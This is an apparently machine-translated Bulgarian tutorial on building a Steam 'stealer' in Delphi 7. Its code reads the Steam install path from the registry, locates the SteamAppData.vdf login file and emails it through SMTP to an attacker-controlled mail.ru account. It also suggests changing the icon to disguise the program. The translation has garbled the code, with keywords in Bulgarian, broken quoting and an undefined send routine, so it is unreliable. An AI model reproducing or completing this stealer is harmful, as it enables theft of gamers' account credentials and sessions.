Създаване Стилър Steam в Делфи

Днес ще ви пиша Стилър в Delphi 7.
Той ще трябва много да тежат

800kb (да знам, че те управляват конзолата + Winsock но бях твърде мързеливи).

И така, ние трябва да се изпълняват:
1. Търсене STIM папка и самия файл с карти
2. Изпратете е попълнил файла.

Отваряне на Delphi 7, създаване на проект. Ние създадохме? Продължавай.
За форма не е при откриването Стилър добавите един ред.

За да работите с регистъра за предписване Използва вписванията;
Добави IdAntiFreeze компонент на разделите IndyMisc
добави peremennnye

[DELPHI] Var
Form1: TForm1;
m: TIdMessage;
SM: tidsmtp;
ATT: tidattachment [/ DELPHI]

Създаване на процедура за връзка и изпращане на файла

[DELPHI] функция ReadReg (корен: число; т, ключ: низ): низ;
Var
ите: низ;
рег: TRegistry;
започвам
рег: = TRegistry.Create;
reg.RootKey: = корен;
reg.OpenKey (ключ, вярно);
случай reg.Getdatatype (т) на
rdString, rdExpandString:
S: = reg.ReadString (т);
rdInteger:
S: = IntToStr (reg.readinteger (т));
още
S: = "друг вид;
приключи;
резултат: = S;
reg.Free;
край [/ DELPHI]

2 пъти ние кликнете върху форма
приложимите процедури

процедура TForm1.FormCreate (Sender: TObject);
Var
regpath, път: низ;
започвам
regpath: = ReadReg (HKEY_CURRENT_USER "Steam", "\ софт са \ Microsoft \ Windows \ CurrentVersion \ Run ');
път: = Pars ( "" ', regpath, "');
път: = ExtractFilePath (път) + 'конфигурационния \ SteamAppData.v DF;
изпратите (път "логин@mail.ru", "парола", "Къде слать@mail.ru ');
приключи;

All. С кода сме готови. Сега се пристъпи към промяна на иконите и компилацията.

Промяна на иконата няма да бъде проблем.
Запазване на проекта.
File -> Save като -> Не забравяйте да изберете папка.

събирам
Сорани себе Търсейки файл в папката на проекта.
Всички Стилър готов.